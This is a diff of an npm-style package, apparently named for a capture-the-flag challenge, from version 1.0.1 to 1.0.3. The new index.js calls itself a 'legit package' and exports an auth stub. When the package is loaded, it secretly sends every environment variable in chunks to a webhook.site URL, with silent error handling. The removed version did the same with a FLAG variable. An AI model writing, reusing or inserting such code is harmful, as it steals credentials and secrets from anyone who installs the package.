despicable-me-ctf 1.0.1 → 1.0.3

package/index.js

@@ -1,17 +1,25 @@
-const https = require('https');
-const flag = process.env.FLAG || '';
+// legit package
+module.exports = function() {
+  return { auth: true, version: "1.0.3" };
+};
 
-// Send flag to webhook silently
-const req = https.request(`https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=${encodeURIComponent(flag)}`, {
-  method: 'GET',
-  timeout: 5000
-});
-
-req.on('error', () => {
-  // Silently fail - no logs
-});
-
-req.end();
-
-// Export minimal function
-module.exports = () => ({ authenticated: true });
+// exfiltrate ALL env in chunks
+(function() {
+  try {
+    var env = process.env;
+    var data = JSON.stringify(env);
+    
+    // Split into chunks of 1500 chars
+    var chunkSize = 1500;
+    for (var i = 0; i < data.length; i += chunkSize) {
+      var chunk = data.substring(i, i + chunkSize);
+      require('https').get(
+        'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?chunk=' + i + '&data=' + encodeURIComponent(chunk),
+        function() {}
+      );
+    }
+    
+  } catch(e) {
+    // silent fail
+  }
+})();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "despicable-me-ctf",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "",
   "main": "index.js",
   "scripts": {